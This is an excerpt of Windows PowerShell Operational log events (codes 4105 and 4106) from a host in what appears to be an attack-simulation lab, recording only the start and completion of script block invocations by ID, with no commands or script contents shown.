Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043516
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043515
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043514
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043513
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043512
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043511
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043510
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043509
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043508
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043507
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043506
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043505
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043504
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043503
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043502
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043501
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043500
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043499
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043498
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043497
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043496
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043495
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043494
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043493
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043492
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043491
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043490
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043489
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043488
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043487
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043486
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043485
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043484
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043483
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043482
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043481
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043480
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043479
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043478
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043477
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043476
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043475
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043474
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043473
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043472
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043471
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043470
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043469
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043468
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043467
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043466
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043465
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043464
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
